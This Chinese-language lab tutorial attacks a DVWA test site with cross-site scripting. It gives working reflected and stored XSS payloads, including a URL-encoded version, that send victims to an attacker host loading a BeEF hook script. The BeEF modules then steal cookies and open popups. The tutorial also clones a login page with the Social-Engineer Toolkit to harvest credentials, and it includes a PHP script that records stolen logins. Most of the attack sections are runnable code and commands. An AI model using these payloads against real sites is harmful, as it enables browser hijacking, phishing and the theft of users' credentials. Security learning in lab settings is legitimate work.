XSS 攻击的应用方式
文章目录
实验环境
- Kali 2021.1
- CentOS 7.6
- 浏览器
0x01 反射型 XSS 攻击劫持用户浏览器
1.修改页面链接的原理
- 跳转恶意网站劫持用户浏览器
- 跳转到广告页面获取利益,或者跳转到固定页面对网站进行刷流量
实验结构:用户访问黑客构建的 XSS 攻击链接,跳转恶意网址并加载 hook.js 代码,黑客通过 hook.js 劫持用户浏览器
2.构建反射型 XSS 攻击
先构建一个反射型的 XSS 攻击跳转到存在漏洞的页面,在 DVWA 中直接进行攻击,但是我们处于演示目的构造了一个相对复杂的环境。
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(j = 0; j < link.length;j++){
link[j].href="https://baidu.com";}
}
</script>
JavaScript 代码分析 window.onload 当页面加载完成时,执行 function 匿名函数
函数功能:document.getElementyByTagName 获取页面中所有的 a 标签,存放到 link 数组中,使用 for 循环将 link 数组中的所有元素替换为恶意网址
打开chrome 浏览器,在反射型 XSS 中进行测试
登录 http://192.168.37.147/DVWA-master/login.php 用户名:admin 密码:password
复制一下代码,粘贴到输入框中;
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");
for(j = 0; j < link.length;j++){
link[j].href="https://baidu.com";}
}
</script>
执行完成后页面并没有什么异常,刷新也没有问题,但是我们点击页面中任何链接时,会发现所有能够 点击的链接点击后 都会跳转到 baidu.com
我们去查看 a标签的 href属性
3.使用 beef 劫持用户浏览器
3.1 基本概述
BeEF(The Brower Exploitation Framework)是由 Wade Alcorn(瓦德·奥尔康)在2006年开始创建,至今还在维护,是由 ruby 语言开发的专门针对浏览器攻击的框架。
执行的过程,就像这种恶意弹窗:
zombie(僵尸)即受害的浏览器。zombie 是被 hook(勾连)的,如果浏览器访问了有勾子(由js 编写)的页面,就会被 hook,勾连的浏览器会执行初始代码返回一些信息,接着 zombie 会每隔一段时间(默认为 1 秒)就会向 BeEF 服务器发送一个请求,询问是否有新的代码需要执行。BeEF 服务器本质上就像一个 Web 应用,被分为前端 UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF 持有者可以通过浏览器来登录 BeEF 的后台管理 UI。
3.2 安装程序
┌──(root💀fengzilin55)-[~]
└─# apt install -y beef-xss
3.3 程序启动 beef
┌──(root💀fengzilin55)-[~]
└─# beef-xss
(Password must be different from "beef") 密码必须与"beef"不同
Please type a new password for the beef user: 请为 beef 用户设置一个新的密码: //密码为 root
根据提示直接设置一个新密码即可启动 beef
新建一个终端,启动 Apache
┌──(root💀fengzilin55)-[~]
└─# systemctl start apache2.service
┌──(root💀fengzilin55)-[~]
└─# systemctl enable apache2.service
新建一个Web 页面用来加载我们生成的 hook.js 钩子文件,如果在目标网站直接嵌入 hook.js 就太可疑了
┌──(root💀fengzilin55)-[~]
└─# vim /var/www/html/fengzilin.html
<html>
<head>
<script src='http://192.168.37.132:3000/hook.js'></script> </head>
<body>
<h1>Hello Welcome to fengzilin !!!</h1>
</body>
</html>
测试页面 http://192.168.37.132/fengzilin.html
修改一下payload
<script>
window.onload = function(){
var link=document.getElementsTagByName("a");
for (j=0;j<link.length;j++){
link[j].href="http://192.168.37.132/fengzilin.html";}
}
</script>
修改完整的URL
http://192.168.37.147/DVWA-master/vulnerabilities/xss_r/?name=<script>window.onload = function(){var link=document.getElementsByTagName("a");for (j=0;j<link.length;j++){link[j].href="http://192.168.37.132/fengzilin.html";}}</script>
使用 burpsuite 进行 URL 编码
http://192.168.37.147/DVWA-master/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%66%6f%72%20%28%6a%3d%30%3b%6a%3c%6c%69%6e%6b%2e%6c%65%6e%67%74%68%3b%6a%2b%2b%29%7b%6c%69%6e%6b%5b%6a%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%33%37%2e%31%33%32%2f%66%65%6e%67%7a%69%6c%69%6e%2e%68%74%6d%6c%22%3b%7d%7d%3c%2f%73%63%72%69%70%74%3e
将之前打开的 chrome 浏览器关闭,重新打开,因为之前网页所有点的链接都变成其他网址了
登录 DVWA http://192.168.37.147/DVWA-master/
将用户级别改为 low
会跳转到此页面
随便点击一个跳转页面的链接就会触发 XSS
右击查看源码
在Kali 上登录 beef 后台进行查看 http://127.0.0.1:3000/ui/panel
可以看到已经链接上了 zombie 浏览器
4.Beef 模块的使用
4.1 获取 Cookie
4.2 给控制的僵尸浏览器弹一个窗口,效果如下
控制浏览器进行弹窗
修改弹窗权限
弹出窗口
弹窗默认没有任何内容显示,我们来编辑下弹窗文件,增加图片
切换到弹窗模块所在目录
┌──(root💀fengzilin55)-[~]
└─# cd /usr/share/beef-xss/modules/persistence/popunder_window ┌──(root💀fengzilin55)-[/usr/…/beef-xss/modules/persistence/popunder_window]
└─# lscommand.js config.yaml module.rb
command.js 文件是弹窗模块调用的 js 文件,打开文件
┌──(root💀fengzilin55)-[/usr/…/beef-xss/modules/persistence/popunder_window]
└─# vim command.js
plain.html 是弹窗调用的 HTML 页面
width = 1 和 height 是控制弹窗的大小,left和top是控制弹窗在屏幕上显示的位置
这里做修改
- width=515 弹窗宽度 515 像素
- height = 320 弹窗高度 320 像素
- left 弹窗距离浏览器左边的距离设置为(screen.width/2-500),其中 screen.width 为屏幕的宽度
- top 弹窗距离浏览器顶端的距离为(screen.height/2-200),其中screen.height 为屏幕的高度
保存退出
切换到弹窗页面所在目录
注:不知道目录在哪里可以使用find命令搜素文件
┌──(root💀fengzilin55)-[/usr/…/beef-xss/modules/persistence/popunder_window] └─# find / -name plain.html
┌──(root💀fengzilin55)-[~]
└─# cd /usr/share/beef-xss/extensions/demos/html ┌──(root💀fengzilin55)-[/usr/…/beef-xss/extensions/demos/html]
└─# ls
plain.html 就是弹窗所调用的 html 文件,在修改之前需要一张图片,用xshell 连额吉kali 将图片上传到此目录
┌──(root💀fengzilin55)-[/usr/…/beef-xss/extensions/demos/html]
└─# rz
编辑 plan.html 文件,插入图片
┌──(root💀fengzilin55)-[/usr/…/beef-xss/extensions/demos/html]
└─# vim /usr/share/beef-xss/extensions/demos/html/plain.html
在 <body></body>
中插入如下代码
插入一个点击图片,跳转到百度
<a href="https://www.baidu.com" target="blank"><img src="/demos/demo.jpg" width="500"></a>
保存并退出
在kali上执行弹框
返回浏览器
Beef 中会自动生成网络拓扑图,这个图每次打开都会有些不同,但是整体拓扑图结构未发生改变
0x02 持久型 XSS 窃取用户信息
1.克隆登录页面
Setoolkit 是一个万能的 社工 工具(社会工程学工具集合)
┌──(root💀fengzilin55)-[~]
└─# setoolkit
terms 条款
你同意服务条款吗? y
选择1.社会工程攻击
1) Social-Engineering Attacks //社会工程攻击
2) Penetration Testing (Fast-Track) //渗透测试(快速通道)
3) Third Party Modules //第三方模块
4) Update the Social-Engineer Toolkit//更新社会工程师工具包
5) Update SET configuration //更新集配置
6) Help, Credits, and About //帮助、积分和关于
99) Exit the Social-Engineer Toolkit //退出社会工程师工具包
选择 2 网站攻击载体
1)鱼叉式网络钓鱼攻击载体
2)网站攻击载体
3)感染性介质发生器
4)创建有效负载和监听器
5)群发邮件攻击
6)Arduino攻击向量
7)无线接入点攻击向量
8)QRCode生成器攻击向量
9)威力外壳攻击向量
10)第三方模块
99)返回主菜单。
选择 3 凭证收割机攻击方法
1) Java Applet攻击方法
2) Metasploit浏览器利用方法
3) 凭据采集器攻击方法
4) Tabnabbing攻击方法
5) 网络劫持攻击方法
6) 多攻击Web方法
7) HTA攻击方法
返回主菜单
选择 2 站点克隆
1)网页模板
2)现场切割
3)自定义导入
返回“网络攻击”菜单
设置侦听 IP 地址保持默认回车
输入 URL 进行克隆
set:webattack> Enter the url to clone:http://192.168.37.147/DVWA-master/login.php
Do you want to attempt to disable Apache? [y/n]: y//因为前面启动了 Apache 所以80端口时占用的状态,在这里输入y关闭Apache
克隆成功
打开浏览器访问:http://192.168.37.132
和原来的网站一模一样,输入密码尝试登录
输入密码发现,页面又重新跳回了 37.147的站点,也就是真实的站点
再次点击登录网站正常登录成功
我们回到 setolkit 查看,已经记录下了在我们克隆的站点输入的用户名和密码信息
2. 使用存储型 XSS 进行页面跳转
我们讲页面跳转到我们伪造的站点中,我们先进行跳转,然后在进行站点克隆
打开浏览器
登录 DVWA ,来这个页面,输入以下内容:
<script>window.location="http://192.168.37.132/"</script>
我们发现文本框输入不了了,因为对话有长度限制的问题
我们调一下大小
点击 sign Guestbook
点击提交后会自动跳转到克隆站点
每次访问都会跳转到克隆站点
只要在克隆站点登录账户信息就会被记录
3.将页面跳转到index.页面
<?php
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = '123456'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
mysqli_query($conn , "set names utf8");
$table = "CREATE TABLE IF NOT EXISTS dvwa.hack(username VARCHAR(100),password VARCHAR(40))";
$ct = mysqli_query($conn,$table);
if(!$ct){
echo "create table error";
}
else{
echo "create table susses";
}
if(!empty($_POST['Login']) )
{
$Username = $_POST['username'];
$Password = $_POST['password'];
$sql = "INSERT INTO dvwa.hack(username,password) value('$Username','$Password')";
echo $sql;
$retval = mysqli_query($conn,$sql);
//echo $retval;
if(!$retval){
echo "<script> location.href='http://192.168.37.132/DVWA-master/index.php';</script>";
}else{
echo "<script> location.href='http://192.168.37.132/DVWA-master/index.php';</script>";
}
}
mysqli_close($conn);
?>
0x03 总结
本章学习了,XSS 在实际中,怎么运用,通过本章学习,XSS 在实际应用当中,扮演着社工角色,通过利用社会工程学,诱导用户点击链接,从而获取用户的信息。